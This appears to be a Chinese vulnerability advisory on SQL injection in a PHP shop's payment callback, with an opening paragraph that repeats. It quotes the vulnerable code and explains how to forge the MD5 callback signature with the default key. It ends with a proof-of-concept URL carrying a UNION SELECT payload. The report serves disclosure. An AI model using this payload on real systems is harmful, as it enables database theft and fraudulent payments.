### 简要描述: 20140926 ### 详细说明: /protected/controllers/payment.php中 callback 函数 ``` public function callback(){ //从URL中获取支付方式 $payment_id = Filter::int(Req::get('payment_id')); $payment = new Payment($payment_id); $paymentPlugin = $payment->getPaymentPlugin(); //先获取一个支付方式,默认只有余额支付 ,id为1 。。。 //执行接口回调函数 $callbackData = Req::args();//array_merge($_POST,$_GET); unset($callbackData['con']); unset($callbackData['act']); unset($callbackData['payment_id']); unset($callbackData['tiny_token_redirect']); $return = $paymentPlugin->callback($callbackData,$payment_id,$money,$message,$orderNo);//$callbackData为所有get和post参数,跟进去看看,这个callback在 /protected/classes/payments/pay_balance.php,通过这个函数我们可以控制return和orderNo,没有过滤。 //支付成功 if($return == 1) { //充值方式 if(stripos($orderNo,'recharge_') !== false) { $tradenoArray = explode('_',$orderNo); $recharge_no = isset($tradenoArray[1]) ? $tradenoArray[1] : 0; $recharge_id = Order::recharge($recharge_no,$payment_id);//recharge_no带入查询产生注入 if($recharge_id){...
### 简要描述: 20140926 ### 详细说明: /protected/controllers/payment.php中 callback 函数 ``` public function callback(){ //从URL中获取支付方式 $payment_id = Filter::int(Req::get('payment_id')); $payment = new Payment($payment_id); $paymentPlugin = $payment->getPaymentPlugin(); //先获取一个支付方式,默认只有余额支付 ,id为1 。。。 //执行接口回调函数 $callbackData = Req::args();//array_merge($_POST,$_GET); unset($callbackData['con']); unset($callbackData['act']); unset($callbackData['payment_id']); unset($callbackData['tiny_token_redirect']); $return = $paymentPlugin->callback($callbackData,$payment_id,$money,$message,$orderNo);//$callbackData为所有get和post参数,跟进去看看,这个callback在 /protected/classes/payments/pay_balance.php,通过这个函数我们可以控制return和orderNo,没有过滤。 //支付成功 if($return == 1) { //充值方式 if(stripos($orderNo,'recharge_') !== false) { $tradenoArray = explode('_',$orderNo); $recharge_no = isset($tradenoArray[1]) ? $tradenoArray[1] : 0; $recharge_id = Order::recharge($recharge_no,$payment_id);//recharge_no带入查询产生注入 if($recharge_id){ //$this->redirect("/ucenter/account/$recharge_id"); $model = new Model('recharge'); $obj = $model->where("id=".$recharge_id.' and status=1')->find(); if($obj){ $msg = array('type'=>'success','msg'=>'充值成功!','content'=>'充值编号:'.$recharge_no.',充值方式:'.$obj['payment_name'],'redirect'=>'/ucenter/account'); $this->redirect('/index/msg',true,$msg); } } $msg = array('type'=>'fail','msg'=>'支充值失败!'); $this->redirect('/index/msg',false,$msg); exit; } } 。。。 } ``` /protected/classes/payments/pay_balance.php中 ``` public function callback($callbackData,&$paymentId,&$money,&$message,&$orderNo) { //除去待签名参数数组中的空值和签名参数 $filter_param = $this->filterParam($callbackData); //对待签名参数数组排序 $para_sort = $this->argSort($filter_param); //生成签名结果 $payment = new Payment($paymentId); $paymentInfo = $payment->getPayment(); $mysign = $this->buildSign($para_sort,$paymentInfo['partner_key']); //生成$mysign,利用数据库中余额支付对应的partner_key,这个key是默认不变的。 if($callbackData['sign'] == $mysign) $callbackData['sign']是可控的。 { //回传数据 $orderNo = $callbackData['order_no']; //orderNo也可以被我们控制 $money = $callbackData['total_fee']; if($callbackData['order_status'] == 'TINY_SECCESS') { return true; } $message = '支付失败'; } else { $message = '签名不正确'; } return false; } ``` ``` } ``` 另,buildSign算法: ``` public function buildSign($sort_para,$key,$sign_type = "MD5") { //把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串 $prestr = $this->createLinkstring($sort_para); //把拼接后的字符串再与安全校验码直接连接起来 $prestr = $prestr.$key; $mysgin = md5($prestr); return $mysgin; } ``` 不具体跟了,我们做一个代理,帮我们生成sign就好。 ### 漏洞证明: http://127.0.0.1/index.php?con=payment&act=callback&payment_id=1 order_no=recharge_2' union select '111 union select 1,2,3,4,5,user(),7 %23 ',2,3,4,5,user(),1 %23 _2_3&order_status=TINY_SECCESS 这里利用满特别的,先用一个union 控制订单状态和订单号,把状态变为1,进入条件语句,订单号变为111 union select 1,2,3,4,5,user(),7 %23带入查询,控制回显。 [<img src="https://images.seebug.org/upload/201411/08122154b7ea7cbf6dbd716ddc26012eaadbbbe3.jpg" alt="QQ图片20141108121847.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/08122154b7ea7cbf6dbd716ddc26012eaadbbbe3.jpg)